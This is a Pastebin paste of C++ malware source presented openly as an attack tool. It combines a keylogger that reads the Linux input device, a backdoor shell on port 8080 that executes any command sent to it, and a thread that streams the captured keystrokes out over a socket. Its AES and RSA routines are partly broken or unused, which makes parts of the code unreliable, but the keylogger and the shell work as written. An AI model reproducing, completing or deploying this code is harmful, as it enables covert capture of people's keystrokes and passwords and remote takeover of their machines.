Advertisement
WhosYourDaddySec

EyePhuckBitches.cpp

Mar 28th, 2025
397
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 8.11 KB | None | 0 0
  1. #include <iostream>
  2. #include <fstream>
  3. #include <string>
  4. #include <thread>
  5. #include <chrono>
  6. #include <vector>
  7. #include <cstring>
  8. #include <sys/socket.h>
  9. #include <unistd.h>
  10. #include <openssl/ssl.h>
  11. #include <openssl/err.h>
  12. #include <openssl/rsa.h>
  13. #include <openssl/pem.h>
  14. #include <openssl/aes.h>
  15. #include <openssl/rand.h>
  16. #include <bluetooth/bluetooth.h>
  17. #include <bluetooth/rfcomm.h>
  18. #include <linux/input.h>
  19. #include <fcntl.h>
  20. #include <sys/types.h>
  21. #include <sys/stat.h>
  22. #include <netinet/in.h>
  23. #define WEBSHELL_PORT 8080
  24. #define AES_KEY_SIZE 32
  25. #define NETWORK_EXFIL_PORT 9999
  26. unsigned char aes_key[AES_KEY_SIZE];
  27. RSA *public_key = nullptr;
  28. RSA *private_key = nullptr;
  29. int exfil_socket = -1;
  30. const char* bluetooth_device_name = "Audio_Headset";
  31. void generate_aes_key() {
  32.     if (!RAND_bytes(aes_key, AES_KEY_SIZE)) {
  33.         std::cerr << "Error generating AES key" << std::endl;
  34.         exit(1);
  35.     }
  36. }
  37. void generate_rsa_keys() {
  38.     BIGNUM *bn = BN_new();
  39.     if (!BN_set_word(bn, RSA_F4)) {
  40.         std::cerr << "Error setting up RSA key generation" << std::endl;
  41.         exit(1);
  42.     }
  43.     private_key = RSA_new();
  44.     if (RSA_generate_key_ex(private_key, 2048, bn, nullptr) != 1) {
  45.         std::cerr << "Error generating RSA keys" << std::endl;
  46.         exit(1);
  47.     }
  48.     public_key = RSAPublicKey_dup(private_key);
  49.     if (public_key == nullptr) {
  50.         std::cerr << "Error duplicating RSA public key" << std::endl;
  51.         exit(1);
  52.     }
  53.     BN_free(bn);
  54. }
  55. void save_rsa_keys() {
  56.     FILE *private_key_file = fopen("private_key.pem", "wb");
  57.     if (!private_key_file) {
  58.         std::cerr << "Error saving private key" << std::endl;
  59.         exit(1);
  60.     }
  61.     PEM_write_RSAPrivateKey(private_key_file, private_key, nullptr, nullptr, 0, nullptr, nullptr);
  62.     fclose(private_key_file);
  63.     FILE *public_key_file = fopen("public_key.pem", "wb");
  64.     if (!public_key_file) {
  65.         std::cerr << "Error saving public key" << std::endl;
  66.         exit(1);
  67.     }
  68.     PEM_write_RSAPublicKey(public_key_file, public_key);
  69.     fclose(public_key_file);
  70. }
  71. void encrypt_data_aes(const std::string& data, std::string& encrypted_data) {
  72.     AES_KEY enc_key;
  73.     AES_set_encrypt_key(aes_key, 256, &enc_key);
  74.     size_t data_len = data.size();
  75.     size_t encrypted_data_len = (data_len / AES_BLOCK_SIZE + 1) * AES_BLOCK_SIZE;
  76.     unsigned char *encrypted_buf = new unsigned char[encrypted_data_len];
  77.     AES_encrypt(reinterpret_cast<const unsigned char*>(data.c_str()), encrypted_buf, &enc_key);
  78.     encrypted_data = std::string(reinterpret_cast<char*>(encrypted_buf), encrypted_data_len);
  79.     delete[] encrypted_buf;
  80. }
  81. void encrypt_data_rsa(const std::string& data, std::string& encrypted_data) {
  82.     int data_len = data.size();
  83.     int rsa_len = RSA_size(public_key);
  84.     unsigned char *encrypted_buf = new unsigned char[rsa_len];
  85.     if (RSA_public_encrypt(data_len, reinterpret_cast<const unsigned char*>(data.c_str()), encrypted_buf, public_key, RSA_PKCS1_OAEP_PADDING) == -1) {
  86.         std::cerr << "Error encrypting data with RSA" << std::endl;
  87.         exit(1);
  88.     }
  89.     encrypted_data = std::string(reinterpret_cast<char*>(encrypted_buf), rsa_len);
  90.     delete[] encrypted_buf;
  91. }
  92. std::string decrypt_data_rsa(const std::string& encrypted_data) {
  93.     int rsa_len = RSA_size(private_key);
  94.     unsigned char *decrypted_buf = new unsigned char[rsa_len];
  95.     if (RSA_private_decrypt(encrypted_data.size(), reinterpret_cast<const unsigned char*>(encrypted_data.c_str()), decrypted_buf, private_key, RSA_PKCS1_OAEP_PADDING) == -1) {
  96.         std::cerr << "Error decrypting data with RSA" << std::endl;
  97.         exit(1);
  98.     }
  99.     std::string decrypted_data(reinterpret_cast<char*>(decrypted_buf));
  100.     delete[] decrypted_buf;
  101.     return decrypted_data;
  102. }
  103. void start_keylogger() {
  104.     const char* device = "/dev/input/event0";
  105.     int fd = open(device, O_RDONLY);
  106.     if (fd == -1) {
  107.         std::cerr << "Error opening keylogger device." << std::endl;
  108.         exit(1);
  109.     }
  110.     struct input_event ev;
  111.     while (true) {
  112.         ssize_t n = read(fd, &ev, sizeof(struct input_event));
  113.         if (n < (ssize_t) sizeof(struct input_event)) {
  114.             std::cerr << "Error reading key event." << std::endl;
  115.             break;
  116.         }
  117.         if (ev.type == EV_KEY && ev.value == 1) {
  118.             std::ofstream keylog_file("keylog.txt", std::ios::app);
  119.             keylog_file << "Key pressed: " << ev.code << std::endl;
  120.             keylog_file.close();
  121.         }
  122.     }
  123.     close(fd);
  124. }
  125. void handle_client(int client_socket) {
  126.     const std::string webshell_banner = "Audio_Headset Webshell. Type 'exit' to quit.\n> ";
  127.     send(client_socket, webshell_banner.c_str(), webshell_banner.size(), 0);
  128.     char buffer[1024];
  129.     std::string command;
  130.     while (true) {
  131.         memset(buffer, 0, sizeof(buffer));
  132.         int bytes_received = recv(client_socket, buffer, sizeof(buffer) - 1, 0);
  133.         if (bytes_received <= 0) {
  134.             break;
  135.         }
  136.         command = std::string(buffer);
  137.         command = command.substr(0, command.find("\r\n"));
  138.         if (command == "exit") {
  139.             break;
  140.         } else {
  141.             FILE* fp;
  142.             char result[1024];
  143.             fp = popen(command.c_str(), "r");
  144.             if (fp == NULL) {
  145.                 send(client_socket, "Error executing command.\n", 25, 0);
  146.             } else {
  147.                 while (fgets(result, sizeof(result), fp) != NULL) {
  148.                     send(client_socket, result, strlen(result), 0);
  149.                 }
  150.                 fclose(fp);
  151.             }
  152.         }
  153.     }
  154.     close(client_socket);
  155. }
  156. void start_webshell() {
  157.     int server_fd = socket(AF_INET, SOCK_STREAM, 0);
  158.     if (server_fd == -1) {
  159.         std::cerr << "Error creating socket." << std::endl;
  160.         return;
  161.     }
  162.     sockaddr_in server_addr;
  163.     memset(&server_addr, 0, sizeof(server_addr));
  164.     server_addr.sin_family = AF_INET;
  165.     server_addr.sin_addr.s_addr = INADDR_ANY;
  166.     server_addr.sin_port = htons(WEBSHELL_PORT);
  167.     if (bind(server_fd, (struct sockaddr*)&server_addr, sizeof(server_addr)) == -1) {
  168.         std::cerr << "Error binding socket." << std::endl;
  169.         return;
  170.     }
  171.     if (listen(server_fd, 5) == -1) {
  172.         std::cerr << "Error listening on socket." << std::endl;
  173.         return;
  174.     }
  175.     while (true) {
  176.         int client_socket = accept(server_fd, nullptr, nullptr);
  177.         if (client_socket == -1) {
  178.             std::cerr << "Error accepting client." << std::endl;
  179.             continue;
  180.         }
  181.         std::thread client_thread(handle_client, client_socket);
  182.         client_thread.detach();
  183.     }
  184.     close(server_fd);
  185. }
  186. void start_network_exfiltration() {
  187.     exfil_socket = socket(AF_INET, SOCK_STREAM, 0);
  188.     if (exfil_socket == -1) {
  189.         std::cerr << "Error creating exfiltration socket." << std::endl;
  190.         return;
  191.     }
  192.     sockaddr_in server_addr;
  193.     memset(&server_addr, 0, sizeof(server_addr));
  194.     server_addr.sin_family = AF_INET;
  195.     server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
  196.     server_addr.sin_port = htons(NETWORK_EXFIL_PORT);
  197.     if (connect(exfil_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)) == -1) {
  198.         std::cerr << "Error connecting to exfiltration server." << std::endl;
  199.         return;
  200.     }
  201.     while (true) {
  202.         std::ifstream keylog_file("keylog.txt");
  203.         if (!keylog_file.is_open()) {
  204.             std::cerr << "Error opening keylog file." << std::endl;
  205.             break;
  206.         }
  207.         std::string line;
  208.         while (std::getline(keylog_file, line)) {
  209.             send(exfil_socket, line.c_str(), line.size(), 0);
  210.         }
  211.         keylog_file.close();
  212.         std::this_thread::sleep_for(std::chrono::seconds(5));
  213.     }
  214.     close(exfil_socket);
  215. }
  216. int main() {
  217.     generate_aes_key();
  218.     generate_rsa_keys();
  219.     save_rsa_keys();
  220.    
  221.     std::thread keylogger_thread(start_keylogger);
  222.     std::thread webshell_thread(start_webshell);
  223.     std::thread exfiltration_thread(start_network_exfiltration);
  224.     keylogger_thread.join();
  225.     webshell_thread.join();
  226.     exfiltration_thread.join();
  227.     return 0;
  228. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement